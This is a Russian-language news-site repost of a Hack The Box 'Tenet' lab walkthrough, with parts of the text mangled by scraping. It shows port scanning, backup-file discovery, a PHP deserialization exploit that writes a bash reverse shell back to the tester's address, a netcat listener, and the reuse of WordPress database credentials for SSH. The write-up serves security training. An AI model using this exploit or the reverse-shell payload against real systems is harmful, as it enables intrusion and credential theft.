Категория > Новости > HTB Tenet. Используем десериализацию в PHP и Race Condition для захвата веб-сервера - «Новости»
HTB Tenet. Используем десериализацию в PHP и Race Condition для захвата веб-сервера - «Новости»16-06-2021, 00:01. Автор: Ефросиния |
Hack The Box.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаПо традиции начнем с того, что добавим IP машины ( 10.10.10.223 tenet.htbИ сканируем порты: ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1![]() Скрипт находит два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache). SSH закрыт, и без учетки там делать нечего, поэтому будем «пробивать» веб. Помимо точек входа, нас интересуют любые подробности, поэтому внимательно изучаем сайт. На одной из страниц находим интересный комментарий — его оставил пользователь ![]() Это очень важная для нас информация. Не исключено, что там мы и найдем точку входа, если администратор не выполнил просьбу Нила и не спрятал файлы. Первым делом я решил поискать бэкапы bfac --urlhttp://tenet.htb/sator.php![]() Но к сожалению, нам не удалось найти никаких бэкапов. Точка входаНе оставляя идею с curl -H 'Host: sator.tenet.htb'http://tenet.htbЗапрос к виртуальному хосту sator.tenet.phpВеб‑сервер вернул нам дефолтную страницу Apache 2. Хвалим себя за удачную находку и добавляем запись в файл 10.10.10.223 sator.tenet.htbСледующий шаг в таких случаях — просканировать директории на найденном домене. Но, помня о комментарии, я сначала поищу бэкапы файла bfac --urlhttp://sator.tenet.htb/sator.phpПоиск бэкапов файла sator.php с помощью bfac ЗакреплениеДавай разберемся с кодом. Этот файл ждет, что будет указан параметр ![]() Получается, что мы можем сериализовать объект такого класса и отправить сериализованные данные на сервер. А это открывает возможность записать какие угодно данные в любой файл. Писать мы, конечно, будем бэкшелл. Но сначала проверим, есть ли на сервере файл, бэкап которого мы разобрали. ![]() Результаты работы apt install rlwraprlwrap nc -lvp [port]Теперь разберемся с эксплуатацией. Копируем определение класса class DatabaseExport{public $user_file = 'r.php';public $data = '<?php exec("/bin/bash -c 'bash -i /dev/tcp/10.10.14.107/4321 0&1'"); ?>';public function __destruct(){file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);}}$url = 'http://sator.tenet.htb/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));$response = file_get_contents("$url");$response = file_get_contents("http://10.10.10.223/r.php");?>Выполняем этот код прямо в консоли и получаем шелл в окне листенера. php exploit.php![]() ПродвижениеТак как на хосте развернут веб‑сервер, где крутится целая CMS, то первое наше действие после захвата шелла — попробовать получить какие‑нибудь учетные данные пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей. Для удобства получим интерактивный шелл с помощью Python 3, а потом поищем директорию WordPress. python3 -c "import pty; pty.spawn('/bin/bash')"![]() В WordPress есть место, где учетные данные есть всегда, — файл с настройками для подключения к базе данных ![]() Эти учетные данные позволяют подключиться к базе данных и получить другие критические данные пользователей, но в этом случае мы можем сразу авторизоваться с ними на сервере по SSH. ![]() Локальное повышение привилегийЗайдя под пользователем, мы теперь хотим получить рут, но вряд ли создатели машины просто оставили нам нужный ключ лежащим где‑то на видном месте. Для упрощения поисков я обычно гоняю скрипты LinPEAS, но можно сразу проверить наиболее вероятные места: настройки sudoers, приложения с выставленным битом SUID, прослушиваемые на локалхосте порты. Перейти обратно к новости |